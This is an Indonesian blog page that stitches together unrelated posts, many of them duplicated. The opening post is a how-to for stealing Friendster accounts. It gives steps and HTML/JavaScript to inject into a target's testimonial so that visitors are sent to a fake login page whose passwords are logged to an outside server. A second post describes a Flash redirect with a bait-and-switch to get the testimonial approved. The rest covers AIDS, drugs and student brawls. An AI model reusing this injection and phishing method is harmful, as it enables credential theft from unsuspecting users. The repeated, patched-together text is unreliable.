--===ΩΩΩδδΩΩΩ===-- INI si CantiK NYA ARMEN --===ΩΩΩδδΩΩΩ===--
Rabu, 19 Maret 2008
Cara Hacking Account FS
.teman²,,,,,biar ndak ketipu ama "Para Penipu FS" (salah omong ndak ya?? heheheh),,,ini Saya coba kasi Tips .Hacking Acoount FS (kalo ada yang salah tolong di perbaiki ach) :
.1. Masuk ke testimonial teman anda / target anda. misal http://www.friendster.com/armencakep
.2. Masukkan :
.halo sayang gantengku atau (apa terserah asal ada tulisan),
.2. lalu Copy source yang saya attach di topik ini (members only), select All semua huruf dan tulisan yang ada .jangan ampe ada yang ketinggalan.
.4. Paste source nya di bawah tulisan kita tadi
3. Lalu tunggu sampai approve testimonialnya.
4. Setelah di approve maka anda dapat menunggu target atau para pengguna friendster membuka fs target dan tentu saja melakukan login di friendster target anda. ( Saat fs target terbuka maka dalam beberapa detik / waktu langsung berubah halaman menjadi halaman untuk login yang hasilnya akan Password direcord di www.yogyafree.net/familycode/friendster.txt
---.("html")
---.("head")
---.("title"hackfs"/title")
---.("meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″")
---.("/head")
---.("body bgcolor=”#00FFFF” text=”#000000″")
---.("SCRIPT LANGUAGE=”JavaScript”")
---.("!– Begin")
---.("function popupPage() {")
---.("var page = “http://www.yogyafree.net/familycode/friendster.html”;")
---.("windowprops = “”")
---.(";")
---.("window.open(page, “hackfs”, windowprops);")
---.("}")
---.("// End –")
---.("/script""BODY onLoad=”setTimeout(’popupPage()’, 1000);”"")
---.(""/p"")
---.("Isi Testimonial ya")
---.("/body")
---.("/html")
.Selamat Mencoba ya teman² semuanya....heheheheeeeeeeeeeeee
kalo ndak isa make " , make <> aja
.1. Masuk ke testimonial teman anda / target anda. misal http://www.friendster.com/armencakep
.2. Masukkan :
.halo sayang gantengku atau (apa terserah asal ada tulisan),
.2. lalu Copy source yang saya attach di topik ini (members only), select All semua huruf dan tulisan yang ada .jangan ampe ada yang ketinggalan.
.4. Paste source nya di bawah tulisan kita tadi
3. Lalu tunggu sampai approve testimonialnya.
4. Setelah di approve maka anda dapat menunggu target atau para pengguna friendster membuka fs target dan tentu saja melakukan login di friendster target anda. ( Saat fs target terbuka maka dalam beberapa detik / waktu langsung berubah halaman menjadi halaman untuk login yang hasilnya akan Password direcord di www.yogyafree.net/familycode/friendster.txt
---.("html")
---.("head")
---.("title"hackfs"/title")
---.("meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″")
---.("/head")
---.("body bgcolor=”#00FFFF” text=”#000000″")
---.("SCRIPT LANGUAGE=”JavaScript”")
---.("!– Begin")
---.("function popupPage() {")
---.("var page = “http://www.yogyafree.net/familycode/friendster.html”;")
---.("windowprops = “”")
---.(";")
---.("window.open(page, “hackfs”, windowprops);")
---.("}")
---.("// End –")
---.("/script""BODY onLoad=”setTimeout(’popupPage()’, 1000);”"")
---.(""/p"")
---.("Isi Testimonial ya")
---.("/body")
---.("/html")
.Selamat Mencoba ya teman² semuanya....heheheheeeeeeeeeeeee
kalo ndak isa make " , make <> aja
-=δδ=- Friendster dan Kebohongannya,, adakah?? -=δδ=-
Dalam artikel saya sebelumnya mengenai Friendster palsu, teknik yang digunakan untuk me-redirect suatu profile dari Friendster adalah dengan menggunakan flash. Sekarang saya ingin memberikan contoh bagaimana kita me-redirect profile Friendster seseorang menuju URL yang kita inginkan. Pertama kita buat script flash sederhana seperti kode dibawah ini. Untuk yang menggunakan linux, install Ming package terlebih dahulu. Ming adalah library yang dapat menghasilkan file Macromedia Flash (.swf). Jika anda menggunakan ubuntu dan belum menginstall, jalankan perintah berikut :
apt-get install libming-util
Jika Ming berhasil diinstal, buat sebuah file dengan editor anda yang berisi kode berikut dan simpan dengan nama flash.as :
getURL("http://www.contoh.com");
misalkan seperti berikut :
getURL("http://chaidir.wordpress.com");
Setelah itu buat file flash (.swf) dengan menjalankan perintah berikut :
chaidir@osxbuntu:~$ /usr/lib/libming/bin/makeswf flash.as
Jika berhasil, maka akan dihasilkan file Flash bernama out.swf. File ini ketika diakses dari browser, akan me-redirect ke URL yang kita definisikan sebelumnya. Contohnya silahkan akses flash yang telah saya buat disini. Apabila anda mengakses url tersebut, maka anda langsung ‘diarahkan’ menuju http://chaidir.wordpress.com.
Selanjutnya upload file flash tadi (out.swf) ke tempat yang mudah diakses. Misalkan di http://numpang.com/out.swf. Setelah itu, kirim testimonial ke orang yang ingin di berikan testimonial dengan memasukkan file flash ini.
Jangan mengirimkan testimonial ini keteman anda, karena profile teman anda tidak akan bisa diakses!
Caranya masukkan kode berikut :
Untuk mencoba apakah testimonial ini berhasil, klik priview. Agar sang penerima testimonial bisa meng-approve testimonial, hapus ganti file flash tadi terlebih dahulu (http://numpang.com/out.swf) dengan flash animasi yang menarik perhatian. Misalnya dengan flash dari Babaflash Forum. Baru setelah di approve, aktifkan ganti lagi (upload lagi) dengan file flash tadi.
Nah, dalam contoh kasus di Friendster palsu, sang cracker me-redirect setiap user yang ingin melihat profile yang sudah disusupi flash tadi dan mengarahkannya ke http://www.friendster.co.nr. Dan celakanya disitu dibuat halaman yang menyerupai halaman login Friendster dan seolah-olah terjadi kesalahan yang mengharuskan setiap user memasukkan email dan passwordnya.
‘Fasilitas’ untuk mengirimkan testimonial di Friendster inilah yang dimanfaatkan cracker untuk ‘mengelabuhi’ orang-orang yang sering bermain-main dengan Friendster. Oleh karena itu, berhati-hatilah terhadap testimonial yang menggunakan flash. Jika mendapatkan testimonail dari orang yang tidak dikenal (emang bisa ya?) atau flash yang ngga penting, lebih baik tidak usah di approve aja.
Pesan buat anak2 ABG pecinta Friendster :
Dan buat anak2 ABG yang sering ke warnet hanya untuk ber-Friendster ria.. apakah tidak ada aktivitas lain di internet selain ber-Friendsteran?! Sangat sayang sekali jika kamu ke warnet cuman liat cowo2 ato cewe2 yang friendsterGenic (keren di friendster doang!) Mendingan belajar cari informasi yang menarik atau belajar apapun dari Internet. Atau lebih baik lagi klo kamu buat buat blog sendiri. Selain belajar nulis, kamu kan juga bisa nambah temen baru. Rugi loh klo bayar 3000 - 4000 perak cuman buat ngeliat Friendster doang, mendingan sambil main IRC, join room #dearmanet,,asyik lohhhh,,,,,hehehehehehee. Ato Friendsteran lah dengan teman² yang sudah anda kenal dengan baek,,,jangan dengan orang yang belom ente kenal,,,hehehehehhee,,,makasih,,,
apt-get install libming-util
Jika Ming berhasil diinstal, buat sebuah file dengan editor anda yang berisi kode berikut dan simpan dengan nama flash.as :
getURL("http://www.contoh.com");
misalkan seperti berikut :
getURL("http://chaidir.wordpress.com");
Setelah itu buat file flash (.swf) dengan menjalankan perintah berikut :
chaidir@osxbuntu:~$ /usr/lib/libming/bin/makeswf flash.as
Jika berhasil, maka akan dihasilkan file Flash bernama out.swf. File ini ketika diakses dari browser, akan me-redirect ke URL yang kita definisikan sebelumnya. Contohnya silahkan akses flash yang telah saya buat disini. Apabila anda mengakses url tersebut, maka anda langsung ‘diarahkan’ menuju http://chaidir.wordpress.com.
Selanjutnya upload file flash tadi (out.swf) ke tempat yang mudah diakses. Misalkan di http://numpang.com/out.swf. Setelah itu, kirim testimonial ke orang yang ingin di berikan testimonial dengan memasukkan file flash ini.
Jangan mengirimkan testimonial ini keteman anda, karena profile teman anda tidak akan bisa diakses!
Caranya masukkan kode berikut :
Untuk mencoba apakah testimonial ini berhasil, klik priview. Agar sang penerima testimonial bisa meng-approve testimonial, hapus ganti file flash tadi terlebih dahulu (http://numpang.com/out.swf) dengan flash animasi yang menarik perhatian. Misalnya dengan flash dari Babaflash Forum. Baru setelah di approve, aktifkan ganti lagi (upload lagi) dengan file flash tadi.
Nah, dalam contoh kasus di Friendster palsu, sang cracker me-redirect setiap user yang ingin melihat profile yang sudah disusupi flash tadi dan mengarahkannya ke http://www.friendster.co.nr. Dan celakanya disitu dibuat halaman yang menyerupai halaman login Friendster dan seolah-olah terjadi kesalahan yang mengharuskan setiap user memasukkan email dan passwordnya.
‘Fasilitas’ untuk mengirimkan testimonial di Friendster inilah yang dimanfaatkan cracker untuk ‘mengelabuhi’ orang-orang yang sering bermain-main dengan Friendster. Oleh karena itu, berhati-hatilah terhadap testimonial yang menggunakan flash. Jika mendapatkan testimonail dari orang yang tidak dikenal (emang bisa ya?) atau flash yang ngga penting, lebih baik tidak usah di approve aja.
Pesan buat anak2 ABG pecinta Friendster :
Dan buat anak2 ABG yang sering ke warnet hanya untuk ber-Friendster ria.. apakah tidak ada aktivitas lain di internet selain ber-Friendsteran?! Sangat sayang sekali jika kamu ke warnet cuman liat cowo2 ato cewe2 yang friendsterGenic (keren di friendster doang!) Mendingan belajar cari informasi yang menarik atau belajar apapun dari Internet. Atau lebih baik lagi klo kamu buat buat blog sendiri. Selain belajar nulis, kamu kan juga bisa nambah temen baru. Rugi loh klo bayar 3000 - 4000 perak cuman buat ngeliat Friendster doang, mendingan sambil main IRC, join room #dearmanet,,asyik lohhhh,,,,,hehehehehehee. Ato Friendsteran lah dengan teman² yang sudah anda kenal dengan baek,,,jangan dengan orang yang belom ente kenal,,,hehehehehhee,,,makasih,,,
AIDS, Narkoba dan Pergaulan Bebas
Narasumber: dr Soares dan Frater Yohanes Kopong, MSF Host: Rocky Natio Pasaribu dan Theofilus Lie Wa
Rekan setia, seperti kita ketahui bersama bahwa 1 Desember diperingati sebagai hari AIDS sedunia. Data-data terakhir yang muncul mengenai perkembangan penderita HIV maupun AIDS di dunia sangat menyentak kita. Lebih menyentak lagi memperhatikan bahwa Indonesia merupakan salah satu negara yang perkembangannya sangat cepat dalam beberapa dasawarsa terakhir ini. Hal ini merupakan momok dan harus ditangani secara serius.
Rocky: Dokter, sebelum kita masuk lebih jauh dalam substansi, bisa Dokter jelaskan mengenai fenomena pergaulan bebas, narkoba, serta AIDS itu sendiri dari sudut pandang medis?
Dr.Soares: Pergaulan bebas adalah salah satu kebutuhan hidup dari makhluk manusia sebab manusia adalah makhluk sosial yang dalam kesehariannya membutuhkan orang lain, dan hubungan antar manusia dibina melalui suatu pergaulan (interpersonal relationship).Pergaulan juga adalah HAM setiap individu dan itu harus dibebaskan, sehingga setiap manusia tidak tidak boleh dibatasi dalam pergaulan, apalagi dengan melakukan diskrriminasi, sebab hal itu melanggar HAM. Jadi pergaulan antar manusia harusnya bebas, tetapi tetap mematuhi norma hukum, norma agama, norma budaya, serta norma bermsayarakat. Jadi, kalau secara medis kalau pergaulan bebas namun teratur atau terbatasi aturan-aturan dan norma-norma hidup manusia tentunya tidak akan menimbulkan ekses-ekses seperti saat ini. Begitupun dengan narkoba, narkotika dan obat-obatan berbahaya adalah suatu kemajuan dalam bidang medis yang dicapai oleh manusia yang ditujukan untuk membantu manusia dalam aspek medis. Jadi jika narkoba dipakai diluar aspek medis, itu adalah suatu pelanggaran hukum atau norma yang sebenarnya.
Rocky: Apa bedanya HIV dengan AIDS?
Dr.Soares: AIDS merupakan singkatan dari Acquired Immune Deficiency Syndrome atau kumpulan gejala atau sindroma akibat dari kekurangan sistem kekebalan tubuh. Sedangkan HIV adalah singkatan dari Human Immunodeficiency Virus, jadi HIV adalah virus yang menginfeksi manusia dan menyebabkan AIDS. Jadi AIDS merupakan suatu fase dari infeksi HIV.
Theo: Baik, kembali ke fenomena perkembangan jumlah penderita Dok. Sejauh ini berapa banyak penderita HIV dan AIDS di Indonesia saat ini, bagaimana di Kalimantan Timur khususnya Kota Balikpapan?
Dr.Soares: Bicara mengenai jumlah penderita AIDS atau HIV positif adalah suatu hal yang gampang-gampang susah, tetapi yang pasti dari awal tahun 2000 an angkanya meningkat dengan drastis. Diperkirakan oleh Departemen Kesehatan penderita HIV-AIDS di Indonesia antara 80.000 – 120.000 orang, di Kalimantan Timur tahun 2005 jumlah penderitanya sekitar 56 orang, dan separuhnya di Balikpapan.
Theo: Dari jumlah tersebut, apakah dapat diidentifikasi kategorisasinya, misalnya dari segi umur, jenis pekerjaan, cara terinfeksi, dan kategori lain?
Dr.Soares: Penderita HIV-AIDS secara nasional memiliki pola dimana lelaki lebih banyak menderita penyakit ini dibandingkan dengan perempuan. Di Jakarta, penularannya lebih banyak dikalangan pengguna narkoba jenis suntikan, tetapi di Papua, penularannya lebih banyak melalui aktivitas seksual bebas. Secara nasional penularannya melalui hubungan seks dan penggunaan jarum suntik dikalangan pengguna narkoba, sedangkan melalui transfusi darah masih belum terdeteksi. Usia penderita kebanyakan berkisar antara 20 – 30 tahun, jadi dewasa muda.
Rocky: Baik, masih menyambung pertanyaan sebelumnya sebelum beralih ke Frater Koppong. Baik Dokter, dari sudut pandang orang awam dan medis, apakah ada dampak positif dari suatu pergaulan bebas?
Dr.Soares: Kembali lagi, kalau kita berpegang pada hakikat pergaulan yang sesungguhnya, tentunya pergaulan bebas itu ada dampak positifnya bila mengikuti rambu-rambu norma hukum, agama, budaya dan masyarakat, yang dianut oleh setiap kelompok masyarakat. Dengan bergaul secara bebas tapi taat norma, setiap individu dapat belajar untuk mandiri, mengetahui kelebihan dan kekurangan, mendewasakan secara psikis, mental dan masih banyak lagi manfaat positif lainnya.
Rocky: Frater, bagaimana sih gereja memandang pergaulan bebas dan narkoba serta AIDS ini?
Frater: Untuk memperjelas masalah pergaulan bebas, kita perlu melihat per kasus dan dampaknya bagi perkembangan hidup kaum muda itu sendiri. Kalau pergaulan bebas menyangkut masalah free seks dan pada akhirnya mengarah pada tindak kejahatan yang lain seperti Narkoba, HIV-AIDS, miras dan lainnya; maka Gereja memandang hal itu sebagai sebuah tindakan immoral yang merupakan dampak dari berbagai krisis sosial ekonomi yang dialami bangsa. Mengapa di sebut sebagai tindakan immoral, karena kapasitasnya sebagai manusia utuh dan yang bermartabat (dalam hal ini sebagai Kaum Muda yang adalah Genereasi penerus bangsa dan Gereja) direndahkan bahkan dilecehkan dengan tindakan atau sikapnya yang melanggar norma moral dan iman. Untuk AIDS sendiri, Gereja memandangnya sebagai masalah yang mengancam segala aspek kehidupan baik individu maupun sebagai anggota manusia sedunia. Bagi Gereja AIDS bukanlah masalah kesehatan semata, melainkan juga masalah moral, hubungan sosial, ekonomi, etika, hukum dan lain-lain. Gereja memandang bahwa HIV-AIDS dan Narkoba merupakan kejahatan sosial baru yang merupakan dampak dari situasi bangsa yang berada dalam lingkaran kemiskinan. Singkatnya baik free sex, Narkoba dan AIDS merupakan tindakan penyalahgunaan yang bertentangan dengan nilai-nilai iman dan moral.
Rocky: Bisa mungkin Frater ceritakan, apa saja usaha-usaha yang telah dan/atau akan Gereja Katolik lakukan untuk meminimalisir dan mencegah perkembangan AIDS ini?
Frater : Pertama-tama saya mau mengatakan katakan bahwa Gereja tidak mempunya solusi yang tepat dalam proses pencegahan AIDS (karena AIDS menyangkut banyak aspek), tetapi lebih memberikan anjuran dan pesan moral untuk membuka sebuah cakrawala baru mengenai masalah tersebut bagi pendampingan keluarga, kaum muda semua umat beriman. Usaha-usaha yang telah (menurut pengamatan saya pribadi) Gereja lakukan adalah dengan mendirikan Yayasan Rehabilitasi bagi para pencandu narkoba seperti kalau di Yogyakarta: Yayasan HANA. Mengadakan seminar-seminar seputar HIV-AIDS, NARKOBA dan dampaknya bagi kesehatan dan kehidupan manusia. Langkah yang lainnya adalah mengajak seluruh komponen, terutama keluaraga-keluaraga, kaum muda untuk mampu bertanggung jawab atas perilakunay dan sadar akan martabatnya sebagai ciptaan Tuhan yang sangat dicintai oleh-Nya. Maka dari itu bagi Gereja sebagaimana yang diserukan oleh Paus Yohanes Paulus II, upaya HIV-AIDS senantiasa melalui penyebaran informasi yang lengkap dan berlandaskan pada nilai-nilai positif kepada setiap insan khususnya kaum muda agar dapat terjadi perubahan sikap dan cara hidup yang baru sesuai dengan martabatnya sebagai manusia. Bagi mereka yang tertular AIDS, Gereja juga tidak menutup mata, melainkan mendoakan mereka dan memperhatikan serta merangkul mereka dengan penuh cinta kasih sebagai makhluk yang bermartabat.
Theo: Bagaimana peran keluarga dalam hal ini?
Frater: Yang jelas peran keluarga khususnya orang tua adalah berkewajiban mendidik ana-anak agar mereka berperilaku penuh tanggung jawab, termasuk perilaku seksual. Keluarga-keluarga hendaknya menciptakan suatu lingkungan yang kondusif, harmonis, simpatik dan empathy bagi bertumbuhnya nilai-nilai iman dan moral dalam keluarga. Peranan keluarga yang lainnya adala memberikan informasi yang tepat kepada anak-anak, dan mendidik mereka agar sedini mungkin mampu mengambil keputusan yang dapat dipertanggungjawabkan.
Rocky: Frater, setelah kita mengetahui fakta-fakta bahwa betapa pesatnya pertumbuhan pengidap HIV dan penderita AIDS dewasa ini dan telah mencapai suatu angka yang sangat mengkhawatirkan dan sebagian besar muncul akibat dari pemakaian narkoba serta pergaulan bebas dalam pengertian sex bebas serta lebih jauh lagi si pengidap sebagian besar merupakan kalangan muda yang produktif dan atau yang diharapkan akan produktif, apa kira-kira yang harus kita sebagai umat Katolik, serta Gereja Katolik harus lakukan pada masa-masa mendatang ini untuk mencegah lajunya perkembangan yang mengkhawatirkan ini Frater?
Frater: Masalah-masalah yang sudah dibahas di atas, sebenarnya merupakan dampak dari berbagai persoalan yang dihadapi (persoalan prbadi, keluarga) yang akhirnya mambawa seseorang pada penyalahgunaan-penyalahgunaan. Di sisi lain baik pergaulan bebas (free sex, narkoba, HIV-AIDS merupakan tawaran yang sudah merupakan satu mata rantai lingkaran setan yang menggerogoti kehidupan kaum muda pada khsususnya. Untuk itu menurut saya; usaha yang bisa kita lakukan adalah memberikan informasi postitp (tidak menakut-nakuti) yang lengkap mengenai permaslaahan-permasalahan dan dampaknya bagi kehidupan manusia serta memberikan pendampingan (keterlibatan dalam satu organisasi), kunjungan. Pendampingan dan kunjungan ini lebih menyangkut nilai-nilai iman dan moral yang hendak kita sampaikan untuk membuka wawasan bagi mereka agar mampu mengubah cara pandang mereka dan mampu mengambil keputusan yang bertanggung jawab atas tawaran-tawaran di atas.
Rocky: Kalau dari segi medis, Dokter?
Dr.Soares: Sebagai seorang dokter dan juga sekaligus Katolik, saya melihat bahwa banyak yang dapat dilakukan oleh Gereja Katolik. Saya pernah membaca kisah hidup Santo Yohanes Bosco, hari rayanya tanggal 31 Januari, dimana beliau berjuang untuk membantu memberdayakan kaum muda di Italia pada masanya dengan menggunakan gereja sebagai pusat doa dan karya bagi kaum muda. Saya dibesarkan secara moral dan spiritual di lingkungan gereja saya, sewaktu saya di Timor Timur, Paroki saya namanya Paroki Santo Antonio Motael – Dili. Setiap Katolik jika mau bercermin pada kaidah-kaidah atau norma-norma ajaran Katolik dan bertingkah laku menurut aturan itu serta lingkungan Parokinya, saya yakin Gereja Katolik dapat menjawab tantangan pergaulan bebas yang marak dan infeksi HIV-AIDS yang merajalela saat ini.
Rekan setia, seperti kita ketahui bersama bahwa 1 Desember diperingati sebagai hari AIDS sedunia. Data-data terakhir yang muncul mengenai perkembangan penderita HIV maupun AIDS di dunia sangat menyentak kita. Lebih menyentak lagi memperhatikan bahwa Indonesia merupakan salah satu negara yang perkembangannya sangat cepat dalam beberapa dasawarsa terakhir ini. Hal ini merupakan momok dan harus ditangani secara serius.
Rocky: Dokter, sebelum kita masuk lebih jauh dalam substansi, bisa Dokter jelaskan mengenai fenomena pergaulan bebas, narkoba, serta AIDS itu sendiri dari sudut pandang medis?
Dr.Soares: Pergaulan bebas adalah salah satu kebutuhan hidup dari makhluk manusia sebab manusia adalah makhluk sosial yang dalam kesehariannya membutuhkan orang lain, dan hubungan antar manusia dibina melalui suatu pergaulan (interpersonal relationship).Pergaulan juga adalah HAM setiap individu dan itu harus dibebaskan, sehingga setiap manusia tidak tidak boleh dibatasi dalam pergaulan, apalagi dengan melakukan diskrriminasi, sebab hal itu melanggar HAM. Jadi pergaulan antar manusia harusnya bebas, tetapi tetap mematuhi norma hukum, norma agama, norma budaya, serta norma bermsayarakat. Jadi, kalau secara medis kalau pergaulan bebas namun teratur atau terbatasi aturan-aturan dan norma-norma hidup manusia tentunya tidak akan menimbulkan ekses-ekses seperti saat ini. Begitupun dengan narkoba, narkotika dan obat-obatan berbahaya adalah suatu kemajuan dalam bidang medis yang dicapai oleh manusia yang ditujukan untuk membantu manusia dalam aspek medis. Jadi jika narkoba dipakai diluar aspek medis, itu adalah suatu pelanggaran hukum atau norma yang sebenarnya.
Rocky: Apa bedanya HIV dengan AIDS?
Dr.Soares: AIDS merupakan singkatan dari Acquired Immune Deficiency Syndrome atau kumpulan gejala atau sindroma akibat dari kekurangan sistem kekebalan tubuh. Sedangkan HIV adalah singkatan dari Human Immunodeficiency Virus, jadi HIV adalah virus yang menginfeksi manusia dan menyebabkan AIDS. Jadi AIDS merupakan suatu fase dari infeksi HIV.
Theo: Baik, kembali ke fenomena perkembangan jumlah penderita Dok. Sejauh ini berapa banyak penderita HIV dan AIDS di Indonesia saat ini, bagaimana di Kalimantan Timur khususnya Kota Balikpapan?
Dr.Soares: Bicara mengenai jumlah penderita AIDS atau HIV positif adalah suatu hal yang gampang-gampang susah, tetapi yang pasti dari awal tahun 2000 an angkanya meningkat dengan drastis. Diperkirakan oleh Departemen Kesehatan penderita HIV-AIDS di Indonesia antara 80.000 – 120.000 orang, di Kalimantan Timur tahun 2005 jumlah penderitanya sekitar 56 orang, dan separuhnya di Balikpapan.
Theo: Dari jumlah tersebut, apakah dapat diidentifikasi kategorisasinya, misalnya dari segi umur, jenis pekerjaan, cara terinfeksi, dan kategori lain?
Dr.Soares: Penderita HIV-AIDS secara nasional memiliki pola dimana lelaki lebih banyak menderita penyakit ini dibandingkan dengan perempuan. Di Jakarta, penularannya lebih banyak dikalangan pengguna narkoba jenis suntikan, tetapi di Papua, penularannya lebih banyak melalui aktivitas seksual bebas. Secara nasional penularannya melalui hubungan seks dan penggunaan jarum suntik dikalangan pengguna narkoba, sedangkan melalui transfusi darah masih belum terdeteksi. Usia penderita kebanyakan berkisar antara 20 – 30 tahun, jadi dewasa muda.
Rocky: Baik, masih menyambung pertanyaan sebelumnya sebelum beralih ke Frater Koppong. Baik Dokter, dari sudut pandang orang awam dan medis, apakah ada dampak positif dari suatu pergaulan bebas?
Dr.Soares: Kembali lagi, kalau kita berpegang pada hakikat pergaulan yang sesungguhnya, tentunya pergaulan bebas itu ada dampak positifnya bila mengikuti rambu-rambu norma hukum, agama, budaya dan masyarakat, yang dianut oleh setiap kelompok masyarakat. Dengan bergaul secara bebas tapi taat norma, setiap individu dapat belajar untuk mandiri, mengetahui kelebihan dan kekurangan, mendewasakan secara psikis, mental dan masih banyak lagi manfaat positif lainnya.
Rocky: Frater, bagaimana sih gereja memandang pergaulan bebas dan narkoba serta AIDS ini?
Frater: Untuk memperjelas masalah pergaulan bebas, kita perlu melihat per kasus dan dampaknya bagi perkembangan hidup kaum muda itu sendiri. Kalau pergaulan bebas menyangkut masalah free seks dan pada akhirnya mengarah pada tindak kejahatan yang lain seperti Narkoba, HIV-AIDS, miras dan lainnya; maka Gereja memandang hal itu sebagai sebuah tindakan immoral yang merupakan dampak dari berbagai krisis sosial ekonomi yang dialami bangsa. Mengapa di sebut sebagai tindakan immoral, karena kapasitasnya sebagai manusia utuh dan yang bermartabat (dalam hal ini sebagai Kaum Muda yang adalah Genereasi penerus bangsa dan Gereja) direndahkan bahkan dilecehkan dengan tindakan atau sikapnya yang melanggar norma moral dan iman. Untuk AIDS sendiri, Gereja memandangnya sebagai masalah yang mengancam segala aspek kehidupan baik individu maupun sebagai anggota manusia sedunia. Bagi Gereja AIDS bukanlah masalah kesehatan semata, melainkan juga masalah moral, hubungan sosial, ekonomi, etika, hukum dan lain-lain. Gereja memandang bahwa HIV-AIDS dan Narkoba merupakan kejahatan sosial baru yang merupakan dampak dari situasi bangsa yang berada dalam lingkaran kemiskinan. Singkatnya baik free sex, Narkoba dan AIDS merupakan tindakan penyalahgunaan yang bertentangan dengan nilai-nilai iman dan moral.
Rocky: Bisa mungkin Frater ceritakan, apa saja usaha-usaha yang telah dan/atau akan Gereja Katolik lakukan untuk meminimalisir dan mencegah perkembangan AIDS ini?
Frater : Pertama-tama saya mau mengatakan katakan bahwa Gereja tidak mempunya solusi yang tepat dalam proses pencegahan AIDS (karena AIDS menyangkut banyak aspek), tetapi lebih memberikan anjuran dan pesan moral untuk membuka sebuah cakrawala baru mengenai masalah tersebut bagi pendampingan keluarga, kaum muda semua umat beriman. Usaha-usaha yang telah (menurut pengamatan saya pribadi) Gereja lakukan adalah dengan mendirikan Yayasan Rehabilitasi bagi para pencandu narkoba seperti kalau di Yogyakarta: Yayasan HANA. Mengadakan seminar-seminar seputar HIV-AIDS, NARKOBA dan dampaknya bagi kesehatan dan kehidupan manusia. Langkah yang lainnya adalah mengajak seluruh komponen, terutama keluaraga-keluaraga, kaum muda untuk mampu bertanggung jawab atas perilakunay dan sadar akan martabatnya sebagai ciptaan Tuhan yang sangat dicintai oleh-Nya. Maka dari itu bagi Gereja sebagaimana yang diserukan oleh Paus Yohanes Paulus II, upaya HIV-AIDS senantiasa melalui penyebaran informasi yang lengkap dan berlandaskan pada nilai-nilai positif kepada setiap insan khususnya kaum muda agar dapat terjadi perubahan sikap dan cara hidup yang baru sesuai dengan martabatnya sebagai manusia. Bagi mereka yang tertular AIDS, Gereja juga tidak menutup mata, melainkan mendoakan mereka dan memperhatikan serta merangkul mereka dengan penuh cinta kasih sebagai makhluk yang bermartabat.
Theo: Bagaimana peran keluarga dalam hal ini?
Frater: Yang jelas peran keluarga khususnya orang tua adalah berkewajiban mendidik ana-anak agar mereka berperilaku penuh tanggung jawab, termasuk perilaku seksual. Keluarga-keluarga hendaknya menciptakan suatu lingkungan yang kondusif, harmonis, simpatik dan empathy bagi bertumbuhnya nilai-nilai iman dan moral dalam keluarga. Peranan keluarga yang lainnya adala memberikan informasi yang tepat kepada anak-anak, dan mendidik mereka agar sedini mungkin mampu mengambil keputusan yang dapat dipertanggungjawabkan.
Rocky: Frater, setelah kita mengetahui fakta-fakta bahwa betapa pesatnya pertumbuhan pengidap HIV dan penderita AIDS dewasa ini dan telah mencapai suatu angka yang sangat mengkhawatirkan dan sebagian besar muncul akibat dari pemakaian narkoba serta pergaulan bebas dalam pengertian sex bebas serta lebih jauh lagi si pengidap sebagian besar merupakan kalangan muda yang produktif dan atau yang diharapkan akan produktif, apa kira-kira yang harus kita sebagai umat Katolik, serta Gereja Katolik harus lakukan pada masa-masa mendatang ini untuk mencegah lajunya perkembangan yang mengkhawatirkan ini Frater?
Frater: Masalah-masalah yang sudah dibahas di atas, sebenarnya merupakan dampak dari berbagai persoalan yang dihadapi (persoalan prbadi, keluarga) yang akhirnya mambawa seseorang pada penyalahgunaan-penyalahgunaan. Di sisi lain baik pergaulan bebas (free sex, narkoba, HIV-AIDS merupakan tawaran yang sudah merupakan satu mata rantai lingkaran setan yang menggerogoti kehidupan kaum muda pada khsususnya. Untuk itu menurut saya; usaha yang bisa kita lakukan adalah memberikan informasi postitp (tidak menakut-nakuti) yang lengkap mengenai permaslaahan-permasalahan dan dampaknya bagi kehidupan manusia serta memberikan pendampingan (keterlibatan dalam satu organisasi), kunjungan. Pendampingan dan kunjungan ini lebih menyangkut nilai-nilai iman dan moral yang hendak kita sampaikan untuk membuka wawasan bagi mereka agar mampu mengubah cara pandang mereka dan mampu mengambil keputusan yang bertanggung jawab atas tawaran-tawaran di atas.
Rocky: Kalau dari segi medis, Dokter?
Dr.Soares: Sebagai seorang dokter dan juga sekaligus Katolik, saya melihat bahwa banyak yang dapat dilakukan oleh Gereja Katolik. Saya pernah membaca kisah hidup Santo Yohanes Bosco, hari rayanya tanggal 31 Januari, dimana beliau berjuang untuk membantu memberdayakan kaum muda di Italia pada masanya dengan menggunakan gereja sebagai pusat doa dan karya bagi kaum muda. Saya dibesarkan secara moral dan spiritual di lingkungan gereja saya, sewaktu saya di Timor Timur, Paroki saya namanya Paroki Santo Antonio Motael – Dili. Setiap Katolik jika mau bercermin pada kaidah-kaidah atau norma-norma ajaran Katolik dan bertingkah laku menurut aturan itu serta lingkungan Parokinya, saya yakin Gereja Katolik dapat menjawab tantangan pergaulan bebas yang marak dan infeksi HIV-AIDS yang merajalela saat ini.
Tawuran Pelajar
Tawuran pada dasarnya hanya dilakukan oleh para preman yang tidak bermoral. Namun, pada periode antara tahun 1997-1999 kegiatan tercela tersebut malah dilakukan oleh para pelajar sekolah menengah tingkat atas sederajat. Dan yang paling sering melakukan tawuran ialah SMK atau STM yang mayoritas siswanya ialah laki-laki.
Contoh penyebab tawuran antar pelajar
Para pelajar bertawuran bukannya tanpa sebab. Penyebab tawuran umumnya adalah dendam. Dengan rasa kesetiakawanan yang tinggi para siswa tersebut akan membalas perlakuan yang disebabkan oleh siswa sekolah yang dianggap merugikan seorang siswa atau mencemarkan nama baik sekolah tersebut. Namun dengan sebab apapun kegiatan tersebut tentunya akan menyebabkan dampak yang negatif di berbagai pihak dan aspek. penyebab tawuran antar pelajar antara lain sebagai berikut:
A. Sebab karena dendam:
1. Dendam akibat pemalakan dan perampasan
Apabila seorang siswa dari suatu sekolah menengah atas dipalak atau dirampas uang dan hartanya, dia akan melapor kepada pentolan di sekolahnya. Kemudian pentolan itu akan mengumpulkan siswa untuk menghampiri siswa dari sekolah musuh ditempat dimana biasanya mereka menunggu bis atau kendaraan pulang. Apabila jumlah siswa dari sekolah musuh hanya sedikit, mereka akan balik memalak atau merampas siswa sekolah musuh tersebut. Tetapi jika jumlah siswa sekolah musuh tersebut seimbang atau lebih banyak, mereka akan melakukan kontak fisik.
2. Dendam akibat rasa iri akibat tidak dapat menjadi siswa di SMK yang diinginkan
